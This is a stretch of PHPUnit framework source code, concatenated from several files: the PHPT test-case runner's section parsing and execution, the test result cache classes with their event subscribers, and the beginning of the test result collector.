$this->parseIniSection($this->settings(CodeCoverage::instance()->isActive())); $emitter->testPrepared($this->valueObjectForEvents()); if (isset($sections['INI'])) { $settings = $this->parseIniSection($sections['INI'], $settings); } if (isset($sections['ENV'])) { $env = $this->parseEnvSection($sections['ENV']); $this->phpUtil->setEnv($env); } $this->phpUtil->setUseStderrRedirection(true); if ($this->shouldTestBeSkipped($sections, $settings)) { return; } if (isset($sections['XFAIL'])) { $xfail = trim($sections['XFAIL']); } if (isset($sections['STDIN'])) { $this->phpUtil->setStdin($sections['STDIN']); } if (isset($sections['ARGS'])) { $this->phpUtil->setArgs($sections['ARGS']); } if (CodeCoverage::instance()->isActive()) { $codeCoverageCacheDirectory = null; if (CodeCoverage::instance()->codeCoverage()->cachesStaticAnalysis()) { /** @psalm-suppress MissingThrowsDocblock */ $codeCoverageCacheDirectory = CodeCoverage::instance()->codeCoverage()->cacheDirectory(); } $this->renderForCoverage( $code, CodeCoverage::instance()->codeCoverage()->collectsBranchAndPathCoverage(), $codeCoverageCacheDirectory, ); } $jobResult = $this->phpUtil->runJob($code, $this->stringifyIni($settings)); $this->output = $jobResult['stdout'] ?? ''; if (CodeCoverage::instance()->isActive()) { $coverage = $this->cleanupForCoverage(); CodeCoverage::instance()->codeCoverage()->start($this->filename, TestSize::large()); CodeCoverage::instance()->codeCoverage()->append( $coverage, $this->filename, true, TestStatus::unknown(), ); } $passed = true; try { $this->assertPhptExpectation($sections, $this->output); } catch (AssertionFailedError $e) { $failure = $e; if ($xfail !== false) { $failure = new IncompleteTestError($xfail, 0, $e); } elseif ($e instanceof ExpectationFailedException) { $comparisonFailure = $e->getComparisonFailure(); if ($comparisonFailure) { $diff = $comparisonFailure->getDiff(); } else { $diff = $e->getMessage(); } $hint = $this->getLocationHintFromDiff($diff, $sections); $trace = array_merge($hint, debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS)); $failure = new PhptAssertionFailedError( $e->getMessage(), 0, (string) $trace[0]['file'], (int) $trace[0]['line'], $trace, $comparisonFailure ? $diff : '', ); } if ($failure instanceof IncompleteTestError) { $emitter->testMarkedAsIncomplete($this->valueObjectForEvents(), ThrowableBuilder::from($failure)); } else { $emitter->testFailed($this->valueObjectForEvents(), ThrowableBuilder::from($failure), null); } $passed = false; } catch (Throwable $t) { $emitter->testErrored($this->valueObjectForEvents(), ThrowableBuilder::from($t)); $passed = false; } if ($passed) { $emitter->testPassed($this->valueObjectForEvents()); } $this->runClean($sections, CodeCoverage::instance()->isActive()); $emitter->testFinished($this->valueObjectForEvents(), 1); } /** * Returns the name of the test case. */ public function getName(): string { return $this->toString(); } /** * Returns a string representation of the test case. */ public function toString(): string { return $this->filename; } public function usesDataProvider(): bool { return false; } public function numberOfAssertionsPerformed(): int { return 1; } public function output(): string { return $this->output; } public function hasOutput(): bool { return !empty($this->output); } public function sortId(): string { return $this->filename; } /** * @psalm-return list */ public function provides(): array { return []; } /** * @psalm-return list */ public function requires(): array { return []; } /** * @internal This method is not covered by the backward compatibility promise for PHPUnit */ public function valueObjectForEvents(): Phpt { return new Phpt($this->filename); } /** * Parse --INI-- section key value pairs and return as array. */ private function parseIniSection(array|string $content, array $ini = []): array { if (is_string($content)) { $content = explode("\n", trim($content)); } foreach ($content as $setting) { if (!str_contains($setting, '=')) { continue; } $setting = explode('=', $setting, 2); $name = trim($setting[0]); $value = trim($setting[1]); if ($name === 'extension' || $name === 'zend_extension') { if (!isset($ini[$name])) { $ini[$name] = []; } $ini[$name][] = $value; continue; } $ini[$name] = $value; } return $ini; } private function parseEnvSection(string $content): array { $env = []; foreach (explode("\n", trim($content)) as $e) { $e = explode('=', trim($e), 2); if ($e[0] !== '' && isset($e[1])) { $env[$e[0]] = $e[1]; } } return $env; } /** * @throws Exception * @throws ExpectationFailedException */ private function assertPhptExpectation(array $sections, string $output): void { $assertions = [ 'EXPECT' => 'assertEquals', 'EXPECTF' => 'assertStringMatchesFormat', 'EXPECTREGEX' => 'assertMatchesRegularExpression', ]; $actual = preg_replace('/\r\n/', "\n", trim($output)); foreach ($assertions as $sectionName => $sectionAssertion) { if (isset($sections[$sectionName])) { $sectionContent = preg_replace('/\r\n/', "\n", trim($sections[$sectionName])); $expected = $sectionName === 'EXPECTREGEX' ? "/{$sectionContent}/" : $sectionContent; Assert::$sectionAssertion($expected, $actual); return; } } throw new InvalidPhptFileException; } private function shouldTestBeSkipped(array $sections, array $settings): bool { if (!isset($sections['SKIPIF'])) { return false; } $skipif = $this->render($sections['SKIPIF']); $jobResult = $this->phpUtil->runJob($skipif, $this->stringifyIni($settings)); if (!strncasecmp('skip', ltrim($jobResult['stdout']), 4)) { $message = ''; if (preg_match('/^\s*skip\s*(.+)\s*/i', $jobResult['stdout'], $skipMatch)) { $message = substr($skipMatch[1], 2); } EventFacade::emitter()->testSkipped( $this->valueObjectForEvents(), $message, ); EventFacade::emitter()->testFinished($this->valueObjectForEvents(), 0); return true; } return false; } private function runClean(array $sections, bool $collectCoverage): void { $this->phpUtil->setStdin(''); $this->phpUtil->setArgs(''); if (isset($sections['CLEAN'])) { $cleanCode = $this->render($sections['CLEAN']); $this->phpUtil->runJob($cleanCode, $this->settings($collectCoverage)); } } /** * @throws Exception */ private function parse(): array { $sections = []; $section = ''; $unsupportedSections = [ 'CGI', 'COOKIE', 'DEFLATE_POST', 'EXPECTHEADERS', 'EXTENSIONS', 'GET', 'GZIP_POST', 'HEADERS', 'PHPDBG', 'POST', 'POST_RAW', 'PUT', 'REDIRECTTEST', 'REQUEST', ]; $lineNr = 0; foreach (file($this->filename) as $line) { $lineNr++; if (preg_match('/^--([_A-Z]+)--/', $line, $result)) { $section = $result[1]; $sections[$section] = ''; $sections[$section . '_offset'] = $lineNr; continue; } if (empty($section)) { throw new InvalidPhptFileException; } $sections[$section] .= $line; } if (isset($sections['FILEEOF'])) { $sections['FILE'] = rtrim($sections['FILEEOF'], "\r\n"); unset($sections['FILEEOF']); } $this->parseExternal($sections); if (!$this->validate($sections)) { throw new InvalidPhptFileException; } foreach ($unsupportedSections as $section) { if (isset($sections[$section])) { throw new UnsupportedPhptSectionException($section); } } return $sections; } /** * @throws Exception */ private function parseExternal(array &$sections): void { $allowSections = [ 'FILE', 'EXPECT', 'EXPECTF', 'EXPECTREGEX', ]; $testDirectory = dirname($this->filename) . DIRECTORY_SEPARATOR; foreach ($allowSections as $section) { if (isset($sections[$section . '_EXTERNAL'])) { $externalFilename = trim($sections[$section . '_EXTERNAL']); if (!is_file($testDirectory . $externalFilename) || !is_readable($testDirectory . $externalFilename)) { throw new PhptExternalFileCannotBeLoadedException( $section, $testDirectory . $externalFilename, ); } $sections[$section] = file_get_contents($testDirectory . $externalFilename); } } } private function validate(array $sections): bool { $requiredSections = [ 'FILE', [ 'EXPECT', 'EXPECTF', 'EXPECTREGEX', ], ]; foreach ($requiredSections as $section) { if (is_array($section)) { $foundSection = false; foreach ($section as $anySection) { if (isset($sections[$anySection])) { $foundSection = true; break; } } if (!$foundSection) { return false; } continue; } if (!isset($sections[$section])) { return false; } } return true; } private function render(string $code): string { return str_replace( [ '__DIR__', '__FILE__', ], [ "'" . dirname($this->filename) . "'", "'" . $this->filename . "'", ], $code, ); } private function getCoverageFiles(): array { $baseDir = dirname(realpath($this->filename)) . DIRECTORY_SEPARATOR; $basename = basename($this->filename, 'phpt'); return [ 'coverage' => $baseDir . $basename . 'coverage', 'job' => $baseDir . $basename . 'php', ]; } /** * @throws \SebastianBergmann\Template\InvalidArgumentException */ private function renderForCoverage(string &$job, bool $pathCoverage, ?string $codeCoverageCacheDirectory): void { $files = $this->getCoverageFiles(); $template = new Template( __DIR__ . '/../Util/PHP/Template/PhptTestCase.tpl', ); $composerAutoload = '\'\''; if (defined('PHPUNIT_COMPOSER_INSTALL')) { $composerAutoload = var_export(PHPUNIT_COMPOSER_INSTALL, true); } $phar = '\'\''; if (defined('__PHPUNIT_PHAR__')) { $phar = var_export(__PHPUNIT_PHAR__, true); } if ($codeCoverageCacheDirectory === null) { $codeCoverageCacheDirectory = 'null'; } else { $codeCoverageCacheDirectory = "'" . $codeCoverageCacheDirectory . "'"; } $bootstrap = ''; if (ConfigurationRegistry::get()->hasBootstrap()) { $bootstrap = ConfigurationRegistry::get()->bootstrap(); } $template->setVar( [ 'bootstrap' => $bootstrap, 'composerAutoload' => $composerAutoload, 'phar' => $phar, 'job' => $files['job'], 'coverageFile' => $files['coverage'], 'driverMethod' => $pathCoverage ? 'forLineAndPathCoverage' : 'forLineCoverage', 'codeCoverageCacheDirectory' => $codeCoverageCacheDirectory, ], ); file_put_contents($files['job'], $job); $job = $template->render(); } private function cleanupForCoverage(): RawCodeCoverageData { $coverage = RawCodeCoverageData::fromXdebugWithoutPathCoverage([]); $files = $this->getCoverageFiles(); $buffer = false; if (is_file($files['coverage'])) { $buffer = @file_get_contents($files['coverage']); } if ($buffer !== false) { $coverage = @unserialize($buffer); if ($coverage === false) { $coverage = RawCodeCoverageData::fromXdebugWithoutPathCoverage([]); } } foreach ($files as $file) { @unlink($file); } return $coverage; } private function stringifyIni(array $ini): array { $settings = []; foreach ($ini as $key => $value) { if (is_array($value)) { foreach ($value as $val) { $settings[] = $key . '=' . $val; } continue; } $settings[] = $key . '=' . $value; } return $settings; } private function getLocationHintFromDiff(string $message, array $sections): array { $needle = ''; $previousLine = ''; $block = 'message'; foreach (preg_split('/\r\n|\r|\n/', $message) as $line) { $line = trim($line); if ($block === 'message' && $line === '--- Expected') { $block = 'expected'; } if ($block === 'expected' && $line === '@@ @@') { $block = 'diff'; } if ($block === 'diff') { if (str_starts_with($line, '+')) { $needle = $this->getCleanDiffLine($previousLine); break; } if (str_starts_with($line, '-')) { $needle = $this->getCleanDiffLine($line); break; } } if (!empty($line)) { $previousLine = $line; } } return $this->getLocationHint($needle, $sections); } private function getCleanDiffLine(string $line): string { if (preg_match('/^[\-+]([\'\"]?)(.*)\1$/', $line, $matches)) { $line = $matches[2]; } return $line; } private function getLocationHint(string $needle, array $sections): array { $needle = trim($needle); if (empty($needle)) { return [[ 'file' => realpath($this->filename), 'line' => 1, ]]; } $search = [ // 'FILE', 'EXPECT', 'EXPECTF', 'EXPECTREGEX', ]; foreach ($search as $section) { if (!isset($sections[$section])) { continue; } if (isset($sections[$section . '_EXTERNAL'])) { $externalFile = trim($sections[$section . '_EXTERNAL']); return [ [ 'file' => realpath(dirname($this->filename) . DIRECTORY_SEPARATOR . $externalFile), 'line' => 1, ], [ 'file' => realpath($this->filename), 'line' => ($sections[$section . '_EXTERNAL_offset'] ?? 0) + 1, ], ]; } $sectionOffset = $sections[$section . '_offset'] ?? 0; $offset = $sectionOffset + 1; foreach (preg_split('/\r\n|\r|\n/', $sections[$section]) as $line) { if (str_contains($line, $needle)) { return [ [ 'file' => realpath($this->filename), 'line' => $offset, ], ]; } $offset++; } } return [ [ 'file' => realpath($this->filename), 'line' => 1, ], ]; } /** * @psalm-return list */ private function settings(bool $collectCoverage): array { $settings = [ 'allow_url_fopen=1', 'auto_append_file=', 'auto_prepend_file=', 'disable_functions=', 'display_errors=1', 'docref_ext=.html', 'docref_root=', 'error_append_string=', 'error_prepend_string=', 'error_reporting=-1', 'html_errors=0', 'log_errors=0', 'open_basedir=', 'output_buffering=Off', 'output_handler=', 'report_zend_debug=0', ]; if (extension_loaded('pcov')) { if ($collectCoverage) { $settings[] = 'pcov.enabled=1'; } else { $settings[] = 'pcov.enabled=0'; } } if (extension_loaded('xdebug')) { if ($collectCoverage) { $settings[] = 'xdebug.mode=coverage'; } else { $settings[] = 'xdebug.mode=off'; } } return $settings; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use const DIRECTORY_SEPARATOR; use const LOCK_EX; use function array_keys; use function assert; use function dirname; use function file_get_contents; use function file_put_contents; use function is_array; use function is_dir; use function is_file; use function json_decode; use function json_encode; use PHPUnit\Framework\TestStatus\TestStatus; use PHPUnit\Runner\DirectoryDoesNotExistException; use PHPUnit\Runner\Exception; use PHPUnit\Util\Filesystem; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DefaultResultCache implements ResultCache { /** * @var int */ private const VERSION = 2; /** * @var string */ private const DEFAULT_RESULT_CACHE_FILENAME = '.phpunit.result.cache'; private readonly string $cacheFilename; /** * @psalm-var array */ private array $defects = []; /** * @psalm-var array */ private array $times = []; public function __construct(?string $filepath = null) { if ($filepath !== null && is_dir($filepath)) { $filepath .= DIRECTORY_SEPARATOR . self::DEFAULT_RESULT_CACHE_FILENAME; } $this->cacheFilename = $filepath ?? $_ENV['PHPUNIT_RESULT_CACHE'] ?? self::DEFAULT_RESULT_CACHE_FILENAME; } public function setStatus(string $id, TestStatus $status): void { if ($status->isSuccess()) { return; } $this->defects[$id] = $status; } public function status(string $id): TestStatus { return $this->defects[$id] ?? TestStatus::unknown(); } public function setTime(string $id, float $time): void { $this->times[$id] = $time; } public function time(string $id): float { return $this->times[$id] ?? 0.0; } public function mergeWith(self $other): void { foreach ($other->defects as $id => $defect) { $this->defects[$id] = $defect; } foreach ($other->times as $id => $time) { $this->times[$id] = $time; } } public function load(): void { if (!is_file($this->cacheFilename)) { return; } $contents = file_get_contents($this->cacheFilename); if ($contents === false) { return; } $data = json_decode( $contents, true, ); if ($data === null) { return; } if (!isset($data['version'])) { return; } if ($data['version'] !== self::VERSION) { return; } assert(isset($data['defects']) && is_array($data['defects'])); assert(isset($data['times']) && is_array($data['times'])); foreach (array_keys($data['defects']) as $test) { $data['defects'][$test] = TestStatus::from($data['defects'][$test]); } $this->defects = $data['defects']; $this->times = $data['times']; } /** * @throws Exception */ public function persist(): void { if (!Filesystem::createDirectory(dirname($this->cacheFilename))) { throw new DirectoryDoesNotExistException(dirname($this->cacheFilename)); } $data = [ 'version' => self::VERSION, 'defects' => [], 'times' => $this->times, ]; foreach ($this->defects as $test => $status) { $data['defects'][$test] = $status->asInt(); } file_put_contents( $this->cacheFilename, json_encode($data), LOCK_EX, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Framework\TestStatus\TestStatus; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NullResultCache implements ResultCache { public function setStatus(string $id, TestStatus $status): void { } public function status(string $id): TestStatus { return TestStatus::unknown(); } public function setTime(string $id, float $time): void { } public function time(string $id): float { return 0; } public function load(): void { } public function persist(): void { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Framework\TestStatus\TestStatus; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface ResultCache { public function setStatus(string $id, TestStatus $status): void; public function status(string $id): TestStatus; public function setTime(string $id, float $time): void; public function time(string $id): float; public function load(): void; public function persist(): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use function round; use PHPUnit\Event\Event; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\Telemetry\HRTime; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\Framework\InvalidArgumentException; use PHPUnit\Framework\TestStatus\TestStatus; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ResultCacheHandler { private readonly ResultCache $cache; private ?HRTime $time = null; private int $testSuite = 0; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(ResultCache $cache, Facade $facade) { $this->cache = $cache; $this->registerSubscribers($facade); } public function testSuiteStarted(): void { $this->testSuite++; } public function testSuiteFinished(): void { $this->testSuite--; if ($this->testSuite === 0) { $this->cache->persist(); } } public function testPrepared(Prepared $event): void { $this->time = $event->telemetryInfo()->time(); } public function testMarkedIncomplete(MarkedIncomplete $event): void { $this->cache->setStatus( $event->test()->id(), TestStatus::incomplete($event->throwable()->message()), ); } public function testConsideredRisky(ConsideredRisky $event): void { $this->cache->setStatus( $event->test()->id(), TestStatus::risky($event->message()), ); } public function testErrored(Errored $event): void { $this->cache->setStatus( $event->test()->id(), TestStatus::error($event->throwable()->message()), ); } public function testFailed(Failed $event): void { $this->cache->setStatus( $event->test()->id(), TestStatus::failure($event->throwable()->message()), ); } /** * @throws \PHPUnit\Event\InvalidArgumentException * @throws InvalidArgumentException */ public function testSkipped(Skipped $event): void { $this->cache->setStatus( $event->test()->id(), TestStatus::skipped($event->message()), ); $this->cache->setTime($event->test()->id(), $this->duration($event)); } /** * @throws \PHPUnit\Event\InvalidArgumentException * @throws InvalidArgumentException */ public function testFinished(Finished $event): void { $this->cache->setTime($event->test()->id(), $this->duration($event)); $this->time = null; } /** * @throws \PHPUnit\Event\InvalidArgumentException * @throws InvalidArgumentException */ private function duration(Event $event): float { if ($this->time === null) { return 0.0; } return round($event->telemetryInfo()->time()->duration($this->time)->asFloat(), 3); } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function registerSubscribers(Facade $facade): void { $facade->registerSubscribers( new TestSuiteStartedSubscriber($this), new TestSuiteFinishedSubscriber($this), new TestPreparedSubscriber($this), new TestMarkedIncompleteSubscriber($this), new TestConsideredRiskySubscriber($this), new TestErroredSubscriber($this), new TestFailedSubscriber($this), new TestSkippedSubscriber($this), new TestFinishedSubscriber($this), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class Subscriber { private readonly ResultCacheHandler $handler; public function __construct(ResultCacheHandler $handler) { $this->handler = $handler; } protected function handler(): ResultCacheHandler { return $this->handler; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\ConsideredRiskySubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestConsideredRiskySubscriber extends Subscriber implements ConsideredRiskySubscriber { public function notify(ConsideredRisky $event): void { $this->handler()->testConsideredRisky($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErroredSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestErroredSubscriber extends Subscriber implements ErroredSubscriber { public function notify(Errored $event): void { $this->handler()->testErrored($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\FailedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFailedSubscriber extends Subscriber implements FailedSubscriber { public function notify(Failed $event): void { $this->handler()->testFailed($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestFinishedSubscriber extends Subscriber implements FinishedSubscriber { /** * @throws \PHPUnit\Framework\InvalidArgumentException * @throws InvalidArgumentException */ public function notify(Finished $event): void { $this->handler()->testFinished($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\MarkedIncompleteSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestMarkedIncompleteSubscriber extends Subscriber implements MarkedIncompleteSubscriber { public function notify(MarkedIncomplete $event): void { $this->handler()->testMarkedIncomplete($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\Test\Prepared; use PHPUnit\Event\Test\PreparedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestPreparedSubscriber extends Subscriber implements PreparedSubscriber { public function notify(Prepared $event): void { $this->handler()->testPrepared($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\InvalidArgumentException; use PHPUnit\Event\Test\Skipped; use PHPUnit\Event\Test\SkippedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSkippedSubscriber extends Subscriber implements SkippedSubscriber { /** * @throws \PHPUnit\Framework\InvalidArgumentException * @throws InvalidArgumentException */ public function notify(Skipped $event): void { $this->handler()->testSkipped($event); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\TestSuite\Finished; use PHPUnit\Event\TestSuite\FinishedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteFinishedSubscriber extends Subscriber implements FinishedSubscriber { public function notify(Finished $event): void { $this->handler()->testSuiteFinished(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner\ResultCache; use PHPUnit\Event\TestSuite\Started; use PHPUnit\Event\TestSuite\StartedSubscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteStartedSubscriber extends Subscriber implements StartedSubscriber { public function notify(Started $event): void { $this->handler()->testSuiteStarted(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TestRunner\TestResult; use function array_values; use function assert; use function implode; use function str_contains; use PHPUnit\Event\Code\TestMethod; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade; use PHPUnit\Event\Test\AfterLastTestMethodErrored; use PHPUnit\Event\Test\BeforeFirstTestMethodErrored; use PHPUnit\Event\Test\ConsideredRisky; use PHPUnit\Event\Test\DeprecationTriggered; use PHPUnit\Event\Test\Errored; use PHPUnit\Event\Test\ErrorTriggered; use PHPUnit\Event\Test\Failed; use PHPUnit\Event\Test\Finished; use PHPUnit\Event\Test\MarkedIncomplete; use PHPUnit\Event\Test\NoticeTriggered; use PHPUnit\Event\Test\PhpDeprecationTriggered; use PHPUnit\Event\Test\PhpNoticeTriggered; use PHPUnit\Event\Test\PhpunitDeprecationTriggered; use PHPUnit\Event\Test\PhpunitErrorTriggered; use PHPUnit\Event\Test\PhpunitWarningTriggered; use PHPUnit\Event\Test\PhpWarningTriggered; use PHPUnit\Event\Test\Skipped as TestSkipped; use PHPUnit\Event\Test\WarningTriggered; use PHPUnit\Event\TestRunner\DeprecationTriggered as TestRunnerDeprecationTriggered; use PHPUnit\Event\TestRunner\ExecutionStarted; use PHPUnit\Event\TestRunner\WarningTriggered as TestRunnerWarningTriggered; use PHPUnit\Event\TestSuite\Finished as TestSuiteFinished; use PHPUnit\Event\TestSuite\Skipped as TestSuiteSkipped; use PHPUnit\Event\TestSuite\Started as TestSuiteStarted; use PHPUnit\Event\TestSuite\TestSuiteForTestClass; use PHPUnit\Event\TestSuite\TestSuiteForTestMethodWithDataProvider; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\TestRunner\TestResult\Issues\Issue; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\SourceFilter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Collector { private readonly Source $source; private int $numberOfTests = 0; private int $numberOfTestsRun = 0; private int $numberOfAssertions = 0; private bool $prepared = false; private bool $currentTestSuiteForTestClassFailed = false; /** * @psalm-var non-negative-int */ private int $numberOfIssuesIgnoredByBaseline = 0; /** * @psalm-var list */ private array $testErroredEvents = []; /** * @psalm-var list */ private array $testFailedEvents = []; /** * @psalm-var list */ private array $testMarkedIncompleteEvents = []; /** * @psalm-var list */ private array $testSuiteSkippedEvents = []; /** * @psalm-var list */ private array $testSkippedEvents = []; /** * @psalm-var array> */ private array $testConsideredRiskyEvents = []; /** * @psalm-var array> */ private array $testTriggeredPhpunitDeprecationEvents = []; /** * @psalm-var array> */ private array $testTriggeredPhpunitErrorEvents = []; /** * @psalm-var array> */ private array $testTriggeredPhpunitWarningEvents = []; /** * @psalm-var list */ private array $testRunnerTriggeredWarningEvents = []; /** * @psalm-var list */ private array $testRunnerTriggeredDeprecationEvents = []; /** * @psalm-var array */ private array $errors = []; /** * @psalm-var array */ private array $deprecations = []; /** * @psalm-var array */ private array $notices = []; /** * @psalm-var array */ private array $warnings = []; /** * @psalm-var array */ private array $phpDeprecations = []; /** * @psalm-var array */ private array $phpNotices = []; /** * @psalm-var array */ private array $phpWarnings = []; /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function __construct(Facade $facade, Source $source) { $facade->registerSubscribers( new ExecutionStartedSubscriber($this), new TestSuiteSkippedSubscriber($this), new TestSuiteStartedSubscriber($this), new TestSuiteFinishedSubscriber($this), new TestPreparedSubscriber($this), new TestFinishedSubscriber($this), new BeforeTestClassMethodErroredSubscriber($this), new AfterTestClassMethodErroredSubscriber($this), new TestErroredSubscriber($this), new TestFailedSubscriber($this), new TestMarkedIncompleteSubscriber($this), new TestSkippedSubscriber($this), new TestConsideredRiskySubscriber($this), new TestTriggeredDeprecationSubscriber($this), new TestTriggeredErrorSubscriber($this), new TestTriggeredNoticeSubscriber($this), new TestTriggeredPhpDeprecationSubscriber($this), new TestTriggeredPhpNoticeSubscriber($this), new TestTriggeredPhpunitDeprecationSubscriber($this), new TestTriggeredPhpunitErrorSubscriber($this), new TestTriggeredPhpunitWarningSubscriber($this), new TestTriggeredPhpWarningSubscriber($this), new TestTriggeredWarningSubscriber($this), new TestRunnerTriggeredDeprecationSubscriber($this), new TestRunnerTriggeredWarningSubscriber($this), ); $this->source = $source; } public function result(): TestResult { return new TestResult( $this->numberOfTests, $this->numberOfTestsRun, $this->numberOfAssertions, $this->testErroredEvents, $this->testFailedEvents, $this->testConsideredRiskyEvents, $this->testSuiteSkippedEvents, $this->testSkippedEvents, $this->testMarkedIncompleteEvents, $this->testTriggeredPhpunitDeprecationEvents, $this->testTriggeredPhpunitErrorEvents, $this->testTriggeredPhpunitWarningEvents, $this->testRunnerTriggeredDeprecationEvents, $this->testRunnerTriggeredWarningEvents, array_values($this->errors), array_values($this->deprecations), array_values($this->notices), array_values($this->warnings), array_values($this->phpDeprecations), array_values($this->phpNotices), array_values($this->phpWarnings), $this->numberOfIssuesIgnoredByBaseline, ); } public function executionStarted(ExecutionStarted $event): void { $this->numberOfTests = $event->testSuite()->count(); } public function testSuiteSkipped(TestSuiteSkipped $event): void { $testSuite = $event->testSuite(); if (!$testSuite->isForTestClass()) { return; } $this->testSuiteSkippedEvents[] = $event; } public function testSuiteStarted(TestSuiteStarted $event): void { $testSuite = $event->testSuite(); if (!$testSuite->isForTestClass()) { return; } $this->currentTestSuiteForTestClassFailed = false; } public function testSuiteFinished(TestSuiteFinished $event): void { if ($this->currentTestSuiteForTestClassFailed) { return; } $testSuite = $event->testSuite(); if ($testSuite->isWithName()) { return; } if ($testSuite->isForTestMethodWithDataProvider()) { assert($testSuite instanceof TestSuiteForTestMethodWithDataProvider); $test = $testSuite->tests()->asArray()[0]; assert($test instanceof TestMethod); PassedTests::instance()->testMethodPassed($test, null); return; } assert($testSuite instanceof TestSuiteForTestClass); PassedTests::instance()->testClassPassed($testSuite->className()); } public function testPrepared(): void { $this->prepared = true; } public function testFinished(Finished $event): void { $this->numberOfAssertions += $event->numberOfAssertionsPerformed(); $this->numberOfTestsRun++; $this->prepared = false; } public function beforeTestClassMethodErrored(BeforeFirstTestMethodErrored $event): void { $this->testErroredEvents[] = $event; $this->numberOfTestsRun++; } public function afterTestClassMethodErrored(AfterLastTestMethodErrored $event): void { $this->testErroredEvents[] = $event; } public function testErrored(Errored $event): void { $this->testErroredEvents[] = $event; $this->currentTestSuiteForTestClassFailed = true; /* * @todo Eliminate this special case */ if (str_contains($event->asString(), 'Test was run in child process and ended unexpectedly')) { return; } if (!$this->prepared) { $this->numberOfTestsRun++; } } public function testFailed(Failed $event): void { $this->testFailedEvents[] = $event; $this->currentTestSuiteForTestClassFailed = true; } public function testMarkedIncomplete(MarkedIncomplete $event): void { $this->testMarkedIncompleteEvents[] = $event; } public function testSkipped(TestSkipped $event): void { $this->testSkippedEvents[] = $event; if (!$this->prepared) { $this->numberOfTestsRun++; } } public 